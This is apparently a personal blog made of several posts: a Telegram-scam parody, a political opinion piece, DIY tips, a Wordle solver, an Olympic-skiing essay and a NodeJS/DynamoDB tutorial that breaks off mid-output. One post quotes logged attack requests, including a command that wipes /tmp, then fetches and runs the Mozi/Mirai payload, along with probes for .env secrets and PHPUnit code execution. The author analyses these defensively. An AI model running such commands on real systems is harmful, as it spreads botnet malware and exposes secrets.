I Replied to a Telegram Spam

For anyone who has never had the pleasure, I would recommend the comedian James Veitch and his TED Talk “This is what happens when you reply to spam email”.

Of course you can see where this is going.

I use WhatsApp and Telegram a decent amount, for keeping touch with friends domestic and international. But there always seems to be a steady stream of bot accounts trying to either sell something or simply swindle access to one of my accounts.

Twas two weeks before Christmas, and out of the blue (and with a provocative profile picture) ‘Barbara’ messages me:

Barbara Rebecca, [Dec 12, 2024 at 6:45:14 AM]:

Can you reply to me?

Matt Kindzerske, [Dec 12, 2024 at 7:33:40 AM]:

Well, to be candid, if it’s taken you this long to finally message me, I’m not exactly in a rush.  What do you want?

Barbara Rebecca, [Dec 12, 2024 at 7:34:54 AM]:

Thank you for your reply  .

My name is Elysia .

I would like to introduce you to a job that will allow you to earn a lot of money in a short period of time

The task is very simple for you,do you want to try?

Matt Kindzerske, [Dec 12, 2024 at 7:35:49 AM]:

I’m confused, your telegram profile says your name is Barbara.  This is so like last summer, just exactly who are you Barbara?

Sometimes we just don’t know

Barbara Rebecca, [Dec 12, 2024 at 7:37:05 AM]:

Let me explain a little. If you want to do it, you can do it.

It doesn’t take much time because you can do it from home

I don’t have to spend a lot time on it, but i can make 300-800 per hour from home

I invite you to work hard together with me

Matt Kindzerske, [Dec 12, 2024 at 7:38:03 AM]:

OK, but it must involve cryptocurrencies, otherwise I’m out.  

and you still need to explain the Barbara vs. Elysia thing

Barbara Rebecca, [Dec 12, 2024 at 7:40:18 AM]:

The name on the account we are using is different from the name on the introduction letter

Because we separate work and personal

Do you want to try?

Matt Kindzerske, [Dec 12, 2024 at 7:44:16 AM]:

We!?!?!  Is this a new pronoun thing you’re doing?  It sounds star trekky, like borg.  usually it’s just a third-person thing, I’ve never seen the first person pronoun change, with you I’m not surprised.  Or do … you not want me to use ‘you’?


… and I await the response.

I am voting for Harris/Walz

I’m most concerned about government debt, and continued deficit spending.  Debt per citizen is now $106k.  I am against Modern Monetary Theory, and I think there is a coming shock where US Treasuries will not be seen as ‘safe’ (it takes 17% of federal spending to service the existing debt).  I am very worried about more inflation coming (housing, healthcare, food).  (Houses are not worth more, it’s your dollar that is worth less.)  I don’t feel that either candidate is strongly campaigning to effectively address these issues (debt seems like it will go up under either candidate).  There is an unfortunate mode to continue spending increases, and also for contributions to market distortions like tariffs.

As a centrist-Democratic I’m always on the lookout for a candidate with a fiscal conservative and socially liberal stance, even if it’s a Republican.  I am not a ‘never Trumper’.  I looked for but did not see any signs of Trump moderating or adjusting his fear-mongering, bombast, or populist speech.  And his behavior surrounding January 6 is a giant hill to overcome.  That and the growing list of Republicans who oppose Trump (VPs, Senators, military, Cabinet) makes it clear to me that a second Trump term would be very tumultuous.  I cannot vote for Trump.

Harris did not go through an election primary cycle, to me she is an unknown quantity.  I appreciate her demeanor and professionalism.  I am hopeful that her administration takes a moderating tact once in office.  The business climate and direction of the country are better off with stability than the chance to save a few % points on the corporate tax rate.

But if I were to place a bet, I do think Trump will be elected next week. (Back to my point of watching for his moderation, I think he could have easily grabbed 4% points from the middle by moderating just a little but that’s not who he is.)  I desperately hope that the electoral college voting is a clear cut outcome.  My silver lining is for RFK Jr. to be an active participant in the administration to fight chronic diseases/obesity, and cheer for the environment.  This is the kind of long term investment that our country needs and I’m glad to see RFK Jr. championing for such explicit policies.  If it bothers you that I see RFK as a favorable presence in a second Trump presidency, well that’s just how I see democracy working that the country needs to come together on January 21st, to get stuff done.

Speaking of getting stuff done, I want more Infrastructure.  I believe the federal government has a place to take on large and inspiring projects (the likes of the Apollo Program, Interstate Highways, scientific advancement, and improving air quality). For example, two new rail tunnels under the Hudson to be opened by 2035! Very cool.

Please vote!

Boarding Zones for 2025

Boarding zones, the ultimate showcase of modern-day social stratification.  There’s 40 minutes until scheduled departure, the boarding agents motion towards the PA phone and unfailingly two-thirds of the flight’s passengers will start clumping in front of the boarding gate (the opposite of a British queue), all desperate for either an overhead luggage space or simply to board the plane earlier than the next person.

First to board?, of course it’s not Zone 1.  It’s some combination and ordering of “those who need a little extra time to board”, “families with young children”, and “active duty military.”

The clumped crowd twitches and clutch their Zone 1 and 2 boarding passes a little tighter, while at the same time trying not to make eye contact with those nearby and jockeying for position.

“Medallion members, “gold or silver status”, then “gold-pressed latinum exclusive.”

Finally the Zone numbers are called out, as the chaotic and live-action class system plays out.  Ultimately with everyone, wait for it, on the airplane.

Wasn’t It a Simpler Time

Let us wax nostalgic for aviation’s golden age of the 1950’s and 60’s: actual cocktail lounges on the second floor of the 747, it was still permissive to smoke a cigarette at thirty thousand feet, and there was a single boarding zone where men were dressed like Don Draper, and any such gentleman would gladly wave a lady in front of himself in queue and with a tip of the hat “good afternoon ma’am.”

It’s 2024, can boarding zones possibly get any worse before they get better?

Luv Me Do

Let’s fix the boarding zones for Southwest Airlines whose company board is under pressure from an activist hedge fund to make business changes, claiming “poor execution”, i.e. “y’all need to make more profit.”

Southwest is famous for their single cabin class and A/B/C 1-60 boarding groups.  It is possible to pay a premium for a lower boarding number, but it’s an old and antiquated scheme.  And it needs to be updated for 2025.

Maths and Stuff

There will no longer be a boarding ‘zone’, rather everyone shall have a Boarding Value™: any number with up to two decimal points, including zero, can be negative.  The higher the BV, the earlier you’ll board.

When you purchase a Southwest ticket, upon check-in you will be assigned a random BV between 0-49 (e.g. 11.25, 47.55), or for a premium you can get a higher BV starting range of 50-100.

Now the Fun Begins

After check-in, a BV market (specific to your flight) opens for trading on the Southwest mobile app. Grab your smartphone!

If you were granted a high “49.5” upon check-in and you’re flying alone and in no rush, you can put up any number of points (let’s say ‘20’) and name your price.  Surveying the crowd at your gate, you sense there is sufficient demand.  You place an ‘ask’ of 20 @ $15, someone takes it within 30 seconds and the fungibility thing happens: you’re debited 20 points to 29.5, and someone else is 20 points richer (or ‘closer’) to boarding, and now your two beers on the flight are paid for.  Revenue: Southwest will take a 1% commission on all BV transactions, and half of that amount will be donated to a non-profit committed to producing sustainable jet fuel.

Let’s not limit ourselves to a basic marketplace…

Virtual in-app black jack: getting to the table costs 30.30 BV (30 BV to play with and 0.3 for the house), and if the dealer wins a hand it goes into the Southwest ‘wallet’ which will dynamically put them up for sale on the marketplace.

There may even be an API for other companies to integrate with and enhance the BV product. After FTX exits bankruptcy Southwest could welcome them to form a coin, futures contracts, options, and other exotic derivatives market.

btw, We Came Here To Fly On An Airplane

With all this trading and gambling who knew waiting at the boarding gate could be so fun?  Or that the time could pass so quickly?

With 30 minutes before boarding, the market closes and everyone has their BV locked in.  The Southwest computer divides the flight into quintiles of BV values and everyone boards according to the quintile their BV falls into.

On the Flight

The cabin doors closes and just before the safety procedure demonstrations, the flight attendants will announce the total amount of BV donations generated.  Hooray for sustainable jet fuel!  And that’s a fun anecdote to bring back to the office after your travels: “Apparently there was a lot of BV trading on my flight, the total donation amount raised was over $2000!  I think there was one whale and he was standing near me because he was super busy on his phone and ended up being the very first to board.”

In Summary

More technology, fungible BV, a free market, additional revenue, gambling, and money was raised for a good cause.  What’s not to like?  In thirty years I don’t see anyone waxing nostalgically for quaint boarding zones a la 2023.

Air Conditioner in a Casement Window

TLDR; Apollo 13 square peg, round hole.

Let’s go.

Instead, Portable AC (or similar):

Start with 1″ insulation board ($30), it comes in 4′ x 8′, bring a box cutter (but not into the store) and cut accordingly to fit into your vehicle.

Rough cut: +1″ on width and height.

Gradually whittle the sides down to get a tight fit. (Not pictured, a heavy piece of cardboard to cut on to protect flooring.)

The portable AC comes with an external vent piece, cut a hole for a snug fit.

Lots of excess insulation board, cut some ‘buttressing’ pieces and Gorilla glue!

One can of white spray paint, three coats. It’s not white, but it’s definitely not as green.

18″ zip ties, cut in half, then attach the ‘middle’ ends with screws for minimal trim destruction, and then tighten the zip ties.

Cleanup, and hook up, and plug it in.

Fin.

Pressure Washing Delight: My Notes

TLDR: From my recent pressure washing session this Spring, a collection of notes to help anyone else achieve success. And why pressure washing is fun and a form of therapy IMHO.

Results

Pressure washing is fun, productive, and builds confidence.

While a bit manual intensive, the reward or gratification is only three hours away. You must take before and after pictures: for yourself, for reference, and to feed the Internet.

My recent work:

Notes and Tips

  • Rental
    • Research what you need for your job: power washer (high pressure heated water) or pressure washer (no heat)
    • For driveways or brick, you really need 3000 psi or more (gas powered pressure washer)
      • For reference, I used 3600 psi for my brick patio
    • Rent for minimum 4 hours, and you will fit in 90 minutes of actual washing time
    • Buy a gas can, and fill it up the day before. Don’t waste valuable ‘rental’ time
      • Some engines require E10 (ethanol) or lower, here’s a map to find gas stations which sell ethanol free gas
  • Preparation
    • You will get drenched and muddy. Wear the right clothes, and have cleanup plan.
    • Prime the line before starting the engine: connect the hose, turn on the water, and pull the trigger on the pressure washer to ensure the line is full of water.
    • Take mental note which part of the engine gets hot (exhaust). After washing for an hour it’s easy to lose focus and put your hand somewhere where it shouldn’t be.
  • The Engine is Running
    • Let it warm up for a few minutes before turning on full power.
    • Manage the line, any kinks in either the water line or pressurized line will reduce pressure.
  • Now you’re washing!
    • Mind the (pressurized) stream, don’t hit any hosing, machinery, or anything that would not hold up to 3k+ PSI. Plants.
    • Use the distance; get the nozzle head close (like 2″) when it’s tough, otherwise find your normal operating distance and keep consistent
    • Sweep back and forth while walking forward, then do the same area at a different angle.
      • It’s never going to be perfect!, but this technique can help mitigate ‘patterns’ emerging
    • Halfway into your job, you’ll realize how to actually wash. Anticipate going back to the first half to ‘touch it up’.
    • Define ‘done’, otherwise you will get distracted and try to wash anything and everything.
      • “Well, since I have the washer now I’ll just do these 4 other things real quick…”. It won’t be quick, and it will not turn out well.
    • With all the blast of the pressure washer, there will be small bits of dirt. The next rain storm will wash away small patches, don’t chase small stuff.
  • Wrap up
    • Budget for cooldown time, 10 minutes at least so you’re not trying to transport a hot machine back to the rental shop

Painting with Acrylics

TLDR: I’m not good at painting, but it’s a nice form of relaxation. And it’s fun. I would highly recommend it. It’s a cheap hobby.

I’m in front of my laptop at least 50 hours a week. My partial escape is yard work, because it’s tangible and I think it helps my hands and mind reset. (And after a couple hours of being in the yard I’m usually itching and ready to get back to my digital explorations.) That’s the balance.

Painting has been a different ‘tangible’ extracurricular activity. I gave it a go for 2022.

As I said above, I’m definitely not good, but it’s fun starting a journey with the “where can this go” outlook and attitude. I am one of those kinds of people who can recognize creativity in a particular lawn mowing pattern. But painting just blows that creativity door wide open. As I approach 40 I think this is helping my mind stay pliable and young.

Below I’ll provide a little of my experience, some insights that I’ve accumulated, and will share some of my production from the last year.

Advice

Do it for you, and not someone else (like the Gram). Really, just let the act of painting be the ends, not the means to a social media post. Throw away your first ‘n’ paintings to relieve any pressure!

Don’t be afraid to copy techniques and processes (e.g. how to add elements and what is the layering order), there are so many YouTube videos to follow. Defer the creativity aspect just a little. My goal is to eventually compose my own paintings, but I realized I (still) am missing a lot of skill+technique and I decided not to sweat that deficit.

If you’re mildly proficient in Photoshop/GIMP, continue to think in layers.

And make the time for it! 25 minutes on a Friday night is all you need. Manage your expectations and keep it simple.

Materials

  • Buy the larger tubes of acrylic paint, they seem to be better quality. Not those ~30 pack of assorted colors, they feel watered down and cheap. Less is more.
  • I started with only 4 tubes of color, to get practice in mixing and finding in-between colors or shades of colors.
  • Don’t buy a crazy number of brushes, just a core 3.
  • Buy a bunch of canvases together, and commit to using them. A 10-pack for $12.99!
    • I’m using mostly 5″x7″ or when motivated 8″x10″.
  • Paper plates are easy for mixing and cleanup.
  • Always have a paper towel handy.

Production!

A quick sampling from the past year. I threw away about a dozen canvases. I wish I had taken pictures for the purposes of this blog post, but I did not. Anyways…

One of my earliest. White and black only!

  • Layering and order
    • Sky
    • Foreground plains
    • (allow to dry)
    • Horizon trees
    • Two big trees and branches

Experimenting with more elements:

  • Mountain reflection: adding just a little brown (roughly the inverted shape of the mountains) when blending the water.
  • Glaciers and water ripples: I used a scrap piece of 1″ cardboard to ‘pull’ the features onto the canvas.

I stumbled upon a photo I had taken 12+ years ago, and tried to capture it on canvas. I like how the sea is two different colors, and demarcated by the rock.

The Newport/Pell Bridge (Rhode Island), I found this angle and composition on a postcard. This was a smaller canvas (5″x7″). The canvas surface comes through a lot more, and the bridge cabling gained a nice rough texture.

The iconic angle of the Quechee Gorge. TBH I don’t’ like the quality or execution of any of the elements on their own. But the order of layers was a fun execution.

Only three colors: white, brown, black. And my ‘go to’ elements: sky, glaciated mountains, and tree. But with this one I let go just a little, and used longer strokes anytime I touched the canvas.

My ‘tree’ element readily converted into a boat. The layering order made the reflection possible: gradient water, rough inverted shape of the boat, some blurring of the inverted shape, then scrap piece of cardboard to left-right slide ripples.

I happened upon an abstract technique: loosely crunch a ball of aluminum foil, then directly drip the paint onto the canvas before ‘dabbing’ for sky and ground. Then my trusty scrap of 1″ cardboard to stamp the rain.

Side Project: Wordle Solver

TLDR: a side-project Wordle Solver, and the GitHub repository (with files/lines specifically linked throughout the rest of this post).

A New Side Project

“Side projects are good and fun.  So is Wordle.”

I always try to have a side-project in the mix.  In software development it’s quite important to stay pliable (a la Tom Brady), adaptable, and stay current to the latest in software languages, frameworks, and hosting paradigms (not necessarily Cloud just for the sake of ‘Cloud’).  It’s also important from a Product aspect.  With a side project you (as an engineer/technologist) have total control over the direction of the implementation.  The act of organizing/prioritizing what you want to implement can vastly help in your professional life where there is not as much control over the direction of Product (but on your own you will have recognized pitfalls, best-practices, or tools.)  And the value goes 4x when you collaborate on a side-project with 1+ other people.

Wordle Trie Search

“Using less electricity is good.”

One day my former roommate from college (Alex, a very bright computer scientist) sent me a text with a link to his Github repository.  He had a very advanced start on a Wordle guess validation algorithm, implemented using a recursively traversable trie structure containing ~all/most of the English words in the 5 character space.  (What’s nice about search trees is that search operations are much more efficient than a naive/linear approach.)

From the Wikipedia article Trie
Credit: Booyabazooka (based on PNG image by Deco).  Modifications by Superm401., Public domain, via Wikimedia Commons

Immediately I’m mentally committed.  This Wordle thing had taken off, I had played it a couple times and I loved the idea of being able to work with Alex again and build something in the Wordle arena. 

Updating the Algorithm

“He will win who knows when to fight and when not to fight.”— Sun Tzu

Alex had the algorithm at an 80% complete state.  Though we recognized it was not using all the information of a guess which had a correct letter but wrong location.  This code change/commit fixed the algorithm and would preclude unnecessary traversals of the trie.

For the Internet

Real artists ship.”— Steve Jobs

(No I’m not claiming to be an artist.  Just a technologist.)

I didn’t start this project, so I went looking for how I could bring extra value (i.e. enter a space for implementation that wasn’t being served yet).

Software is useless unless you have a channel to distribute it.  That’s why the Internet is so valuable.  Professionally I was already very familiar with the Java Spring framework, so I committed myself to creating a REST API to expose the underlying algorithm.

I created a Spring sub-project within the same repo, and referenced the algorithm and supporting files using symlinks which actually worked with the build!  I thought this was a neat way to include Alex’s code.  (I don’t know if I would recommend this approach professionally, it’s a little hacky.)

Automated Testing

They test it.  Exactly.

A nice addition by our third collaborator, Tyler, brought in some github workflows driving some unit tests.  This helped identify if anything was broken by a feature/bugfix branch.  Bonus: the unit tests in the ‘sub-project’ Spring application could be run consecutively after the root level tests.

For the Internet, take two

Wrapping the algorithm in Spring was not the correct idea.  I had not thought through on how I wanted to host the application.  An executable jar could have been compiled, but would have needed a virtual host or container to run on.  So instead I spent a weekend to wrap the algorithm a second time but using the AWS Lambda Handler so it could be run serverless.  (This could cut low-traffic hosting from $20/month down to about $2.)  Also some AWS ClouFormation automation helped (from an AWSDocs repo) with the iteration and deployments.  Though I manually integrated an API GW to the Lambda.

Front End

“If there’s a ‘trick’ to it, the UI is broken.”— Douglas Anderson

A little Bootstrapv4 CSS can go a long way, visually.  I’m not a front-end developer but being able to sling together some bare HTML, Bootstrap, forms and JQuery:ajax makes possible a lot of webapp creation.

I also included a fun animated background from a codepen project.

The HTML page is completely static and I uploaded to AWS S3 and aliased a Route53 record for a domain I own.

Lastly, it’s not quite a security thing (rather towards exclusivity), I modified the application to include an Access-Control-Allow-Origin in the header for every request to the API/algorithm.  This will instruct browsers to stop other websites from using my API, though anyone could curl against it if desired.  Or the repository is public, someone could deploy their own Lambda!

Thanks, and Wordle on!

Beijing 2022: An Adequate Downhill Course for 90mph?

The Beijing Winter Olympics start on February 4, 2022.  It will be the first city to have hosted a summer and then a winter Olympics.  As a skier this has me quite curious on how the alpine events will be accommodated, particularly the downhill discipline.  The Beijing (and surrounding area’s) climate and geography is in fact conducive to host a winter Olympics.  And the Chinese government is making sure that the infrastructure, logistics, support, and manufactured snow can be arranged, but I’m still left intrigued as the the design and suitability of the downhill race course.

Why the Downhill?…

In alpine ski racing there is a spectrum of disciplines (in ascending order of speed): slalom, giant slalom, super-G, and downhill. Slalom being the most technical/twisty, and downhill at the other end with the least amount of turns (meaning the highest speeds) and generally just follows the contours of the mountain.

Downhill is…

  • 90+ mph from gravity and waxed/slick skis pointed nearly straight downhill
  • Racers descend around 900 vertical meters (2900 feet) in about 2 minutes
  • Continuously oscillating squats of -1x (airtime)and 5x body-weight, also alternating leg to leg in the turns
  • 60 meter jumps
  • Two two-meter long, double-sided, razor sharp blades (skis) are bolted to the athletes’ feet
  • Protection: skin tight suit for aerodynamics (i.e. not protection), a helmet, and lots of faith in the run-off areas and safety netting

I posit that there is no greater test of a human’s courage, planning, nerves, execution, stamina, and power.  And with life-threatening consequences for even small mistakes any given course had better be world-class, tested, and accommodating with the latest in safety considerations and features.

The Downhill Establishment

There are downhill venues which are both historic and regular stops on the World Cup calendar: they have an indefinite hold on their respective winter weekends when the world’s elite racers arrive and are delighted to race on courses they grew up dreaming about. Some examples:

  • Kitzbuhel, Austria’s famous Streif course (since 1937)
  • Wengen, Switzerland’s Lauberhorn downhill (since the 1930’s)
  • Beaver Creek’s (Colorado) Birds of Prey downhill (since 1997, relatively new but now regular)
  • (Here’s a beautiful histogram on Wikipedia of Men’s downhill races.  Sadly I could not find an analogous page for Women’s races.)

These courses are time tested and continually tweaked for safety and technology improvements.  The Olympics run counter to this regularity, and most of the time necessitating a new venue to be purpose built for the particular winter Olympics.  Question: can a world class downhill be built safely for a one-off use?

Design, Build, Test…

It’s the classic project delivery cycle.  And absolutely a necessity if the world’s best (i.e. fastest) ski racers will be flying 90 miles per hour down a brand new Olympic race course.  It had better be fully vetted and adequately tested…

The Salt Lake City (USA) 2002 Olympics were similar circumstances to Beijing 2022.  Snowbasin (Utah) was identified for the downhill and super-G courses.  New trails were cut and a new ski lift was installed to bring personnel to the top of the course.  A national level (NorAm) competition was held, then a World Cup event hosted but only two days of training runs were completed before the rest of that World Cup race had to be cancelled.  With only training runs it still meant that world class skiers were racing the course and looking for speed in any angle, approach, nook, and cranny.  (And that included the legendary Herman Maier, who was the skier hurtling through the safety netting in a linked video earlier in this post!)  That’s the crux.  If a World Cup racer can find 0.4 more mph in a particular turn (e.g. 89.7 vs. 90.1mph) than national level competitors, how much more dangerous are the turns and jumps given that speed delta?  Has the course been engineered correctly for the elite level?

Are the run-off areas wide enough? Is the safety netting tall enough? Is the geometry of the landing areas at risk of not being long enough?

Is a downhill course fully vetted and adequately tested if it has only hosted national level competition?

Yanqing Alpine Ski Center

Located approximately 50 miles north of the city of Beijing, the Beijing 2022 organization has thoroughly showcased their focus and accomplishments on the supporting infrastructure (e.g. transportation) and logistics enhancement of their new world class venue.

The region and mountains selected for the downhill and super-G courses actually do not receive enough natural snowfall. While counterintuitively this can be good (because ski racers and organizers appreciate icey/rockhard courses which don’t change during the course of a race day), it can simply feel wrong and counter to the spirit of the winter Olympic games.  Ultimately this was a decision by the International Olympic Committee and Beijing’s proposal, that a successful games could still be hosted given the lack of natural snow.  At elite levels of competition it’s common to rely on artificial snow.  Such as in my home state of Vermont which hosts early season women’s races at Killington who are always eager to announce when ‘positive snow control’ is achieved.  But Vermont is a place associated with large quantities of snow.  Yanqing doesn’t receive much, and officials needed to start making snow on November 15 ahead of the February competition.

Bernhard Russi (an Olympic downhill course designer) lauded the Yanqing mountain (and the possibility of the ultimate course) back in 2019. A member of the design team for Yanqing’s downhill is Tom Johnson (US Team alpine technical advisor), who acknowledged the limitations on access and testing.

Formal testing?  The Chinese Winter Games (national level) hosted a downhill on the course in January 2020 (similar to the pattern of testing for Salt Lake City 2002).  But COVID and the pandemic precluded the arrival and racing by world class athletes for subsequent events.

  • A Men’s downhill and super-G were cancelled, originally scheduled for February 15, 2020.
  • A Women’s downhill and super-G were also cancelled, originally scheduled for February 27, 2021.

Takeaway

Nestled somewhere in the summits and topography of the new Yanqing Alpine Ski Center is a high speed downhill course. The Men’s downhill is scheduled for February 6, 2022 and the Women’s for February 15, 2022. At the very least I hope to have imparted an appreciation for the risk, racing peril, and logistics involved in the downhill event.  If you find yourself cheering on your respective compatriots during the downhill or super-G, please pause to consider that these are amazing athletes, made up of the right stuff, risking life and pushing the limit in extraordinary ways.

10 Malicious Requests Against My Web Application

During a recent coding experiment/competition I had a (very rough) NodeJS app which I needed to deploy and host. Horror of horrors, I manually installed it onto a bare EC2 and pointed an Elastic-IP. Using pm2 (process manager) I was up and running very quickly, and writing request logs locally.

PORT=8080 pm2 start bin/www --time --output ~/log.txt

What’s nice about running on IaaS (vs. PaaS) is there’s a lot more control and insights. Specifically the log.txt named above. I could see the legitimate requests and traffic hitting my app from my colleague coders, but there were a lot of other requests causing my application to return 404 Not Found. I was curious and started duckduckgo‘ing and discovered a lot of them were attempted web exploits hoping my server was vulnerable.

Below are ten malicious requests narrated with some of my cursory research.

I don’t claim deep expertise in any of these attacks or technologies. (Please note my non-authoritative tone where I’ve written “I believe”.) Cybersecurity is a very deep field, and if I was architecting a truly critical system there are many tools or appliances which can recognize and block such threats or malicious requests instead of my naively exposed EC2 instance. While it was entertaining to do the research below, I could have spent days looking deeper and learning about the history of each vulnerability or exploit.

Bonus: I have this list hosted in a public github repository, and I would welcome any pull requests to help correct, inform, or expand on anything below.

1) PHP and MySQL

2021-04-25T10:19:17: GET /mysql/index.php?lang=en 404 0.940 ms - 1103

PHP is a very common framework in the web development community, and there are many sites describing how it can integrate with mySQL. ‘Index’ here with the php extension implies some code process and not simply fetching a static resource (such as an HTML file). Since this is under the mysql resource, it appears to be a big sniff to see if a console to the mysql db has been left open.

2) Mirai malware, bashdoor and arbitrary code execution

2021-04-25T10:21:27: GET /shell?cd+/tmp;rm+-rf+*;wget+http://172.36.40.208:44947/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.964 ms - 1103

Immediately one can recognize the shell resource, that this is a flavor of a bashdoor attack or attempting to insert and invoke arbitrary code at the command line level. It first tries to clear out everything in the ‘tmp’ direcotry (cd /tmp; rm -rf *) before fetching (wget) a remotely hosted file (‘Mozi.a`, part of the Mirai botnet) and then tries to invoke.

3) AWS Metadata (not malicious)

2021-04-25T11:17:53: GET http://169.254.169.254/latest/meta-data/ 404 1.033 ms - 1103

Not an attack, rather something particular to AWS EC2 instance metadata. I believe it’s the AWS SDK (within my NodeJS application) locally looking for the metadata containing the AWS credentials (since my web app was integrated with DynamoDB). Noteworthy is the IP 169.254.169.254 is special to every EC2 instance.

4) “The Moon” against Linksys Devices

2021-04-25T11:49:04: POST /HNAP1/ 404 0.837 ms - 1103

Home Network Administration Protocl (HNAP) is a Cisco proprietary protocol for managing network devices, going back to 2007. There was a worm, “The Moon”, back in 2014, which used the HNAP1 protocol to identify specific Linksys routers (firmware etc.), and then send a second request to invoke an exploit at the CGI/script level which downloads the worm’s script.

5) Sniffing for Environment Variables

2021-04-25T14:57:06: GET /.env 404 0.919 ms - 1103

The .env file is not specific to one framework or language, but actually closer to industry convention. I think this request is hoping that the server is simply hosting a directory and that an .env might be exposed possibly revealing things like API keys or credential keys/tokens.

6) “Hey, look at my ads!!!”

2021-04-25T17:00:00: POST http://likeapro.best/

I tried the URl, and it was a ‘Not Found’, so maybe it was shut down or abandoned. Maybe someone is hoping to get more traffic to a site laden with ads. More nuisance than malice.

7) WiFi Cameras Leaking admin Passwords

2021-04-25T18:04:09: GET /config/getuser?index=0 404 0.940 ms - 1103

Specific D-Link WI-fi cameras had a vulnerability where the remote administrator password could be directly queried without authentication! Hoorah for the National Vulnerability Database (NIST), the page for this vulnerability in particular was fun to read through and click the links deeper into the vulnerability and who/how it was uncovered.

8) PHP Unit Test Framework Weakening Prod

2021-04-25T20:12:45: POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 1.083 ms - 1103

This is a vulnerability for specific version of PHPUnit, where arbitrary PHP code could be executed! (Good example why modules specific to testing should be disabled or omitted in production deployments.) Here’s a very detailed story (by a PHP expert), on how this impacted a retail website. The first link is to cve.mitre.org, a vulnerability catalog sponsored by USA’s DHS and CISA, and the actual site is maintained by the MITRE Corp.

9) JSON Deserialization Vulnerability

2021-04-25T20:12:45: POST /api/jsonws/invoke 404 0.656 ms - 1103

Liferay is a digital portal/platform product, which had a JSON (deserialization) and remote code execution vulnerability (CVE-2020-7961) in March of 2020 and documented by Code White. Bonus, here’s the scanner (github) of a scanner someone created for this vulnerability.

10) Apache Solr Exposing Files

2021-04-25T20:12:45: GET /solr/admin/info/system?wt=json 404 0.989 ms - 1103

Ranked as the #7 Web Service Exploit of 2020, even though Apache published an issue back in 2013! The above request is a scan looking for specific versions of Apache Solr (search platform), where a particular parameter is exposed and can lead to arbitrary file reading. Apparently this is combined with some other vulnerabilities to eventually get to remote code execution, detailed in CVE-2013-6397.

NodeJS, DynamoDB, and Promises

NodeJS, Express, and AWS DynamoDB: if you’re mixing these three in your stack then I’ve written this post with you in mind.  Also sprinkled with some Promises explanations, because there are too many posts that explain Promises without a tangible use case.  Caveat, I don’t write in ES6 form, that’s just my habit but I think it’s readable anyways. The examples below are all ‘getting’ data (no PUT or POST), but I believe it’s still helpful for setting up a project. All code can be found in my github repo.

Level Set

Each example in this post will be a different resource in an express+EJS app, but they’ll all look similar to the following (route and EJS code, respectively):

//  routes/index.js

router.get('/', function(req, res, next) {
 res.render('index', { description: 'Index', jay_son: {x:3} } );
});

(Apologies for the non-styled code. You can view the routes/index.js file in my repo.)

<!-- views/index.ejs -->
 
<body>
   <h1><%= description %></h1>
   <code><%= JSON.stringify(jay_son,null,2) %></code>
 </body>

http://localhost:3000/

Index
{ "x":3 }

(If any of this looks foreign or confusing, you’ll probably need to backup and study NodeJS, Express and EJS.)

Basic Promise

First up, a very simple Promise that doesn’t really do anything.  But this is how it gets used:

async function simplePromise() {
   return Promise.resolve({resolved:"Promise"});
}
router.get('/simple_promise', function(req, res, next) {
 simplePromise().then( function(obj) {
   res.render('index', 
     { description: 'Simple Promise', jay_son: obj });
 });
});

http://localhost:3000/simple_promise

Simple Promise
{ "resolved":"Promise" }

The simplePromise function returns the Promise, and the value has already been computed (because it’s static data).  The route accesses the value under the then() function and we pass obj to the view for rendering.

Get Single DynamoDB Item

For the rest of this post I’m using two dynamoDB tables.  This is not a data model I would take to a client.  It’s inefficient. Rather this data is meant for illustrative purposes only for when JSON storage is a suitable use for your tech stack:

d_bike_manufacturers //partition key 'name'
  { "name":"Fuji", "best_bike":"Roubaix3.0" }
  { "name":"Specialized", "best_bike":"StumpjumperM2" }
  
d_bike_models       //partition key 'model_name'
  { "model_name":"Roubaix3.0", "years":[ 2010, 2012 ] }
  {"model_name":"StumpjumperM2",
   "years":[1993,1994,1995,1996,1997,1998,2000]
  }

Back to the NodeJS code:

const AWS = require("aws-sdk")
AWS.config.update({ region: "us-east-1" })
const dynamoDB = new AWS.DynamoDB.DocumentClient();

// '/manufacturer'
router.get('/manufacturer', function(req, res, next) {
 var params = { Key: { "name": req.query.name_str }, 
                TableName: "d_bike_manufacturers" };
 dynamoDB.get(params).promise().then( function(obj) {
   res.render('index', 
     { description: 'Simple Promise', jay_son: obj }
   );
 });
});

http://localhost:3000/manufacturer?name_str=Fuji

Single DynamoDB Item
{
   "Item":{
      "name":"Fuji",
      "best_bike":"Roubaix3.0"
   }
}

Very important to note here is how the return data is wrapped within a structure under the key ‘Item’.

Consecutive DynamoDB GETs

If the ultimate database item is not immediately query-able (for some reason), then consecutive DynamoDB calls can be made.  Notice how the Promises are nested.  From the perspective of performance, this is not desirable and can introduce a lot of latency if this pattern is further repeated.  (Some basic testing I did showed P95 times of around 100ms, server side.)  The point of this demonstration is that the first Promise needs to resolve before the second can be constructed. (Best to avoid such consecutive queries, but we’re illustrating here.)

// '/manufacturers_best_bike'
router.get('/manufacturers_best_bike', function(req, res, next) {
 
  var params = { Key: { "name": req.query.name_str }, 
                 TableName: "d_bike_manufacturers" };
 dynamoDB.get(params).promise().then( function(obj) {
   if (Object.keys(obj).length==0) {
     res.render('index', 
       { description: 'Consecutive DynamoDB Items', 
         jay_son: {err: "not found"} 
     });
     return;
   }
 
   var bikeName = obj.Item.best_bike;
   var params2 = { Key: { "model_name": bikeName }, 
                   TableName: "d_bike_models" };
   dynamoDB.get(params2).promise().then( function(obj2) {
     res.render('index', 
       { description: 'Consecutive DynamoDB Items', 
         jay_son: obj2 }
     );
   });
 });
});

http://localhost:3000/manufacturers_best_bike?name_str=Fuji

Consecutive DynamoDB Items
{
   "Item":{
      "model_name":"Roubaix3.0",
      "years":[ 2010, 2012 ]
   }
}

Promise.all()

Promises aren’t strictly run in parallel, rather the creation of the Promise starts the respective work.  Using the all() method simply waits for all to resolve and can make your code look a lot cleaner.  In the resource below, we’re querying DynamoDB twice using information from the supplied query parameters.

// '/manufacturer_and_bike'
router.get('/manufacturer_and_bike', function(req, res, next) {
  // Two query params
 var params = { Key: { "name": req.query.name_str }, 
                TableName: "d_bike_manufacturers" };
 var params2 = { Key: { "model_name": req.query.bike_str }, 
                 TableName: "d_bike_models" };
 
 var promises_arr = [
   dynamoDB.get(params).promise(),
   dynamoDB.get(params2).promise()
 ];
 
 Promise.all(promises_arr).then( function(obj) {
   res.render('index', 
     { description: 'Promise.all() for Concurrency', 
       jay_son: obj } );
 });
});

http://localhost:3000/manufacturer_and_bike?name_str=Fuji&bike_str=Roubaix3.0

Promise.all() for Concurrency
[
   {
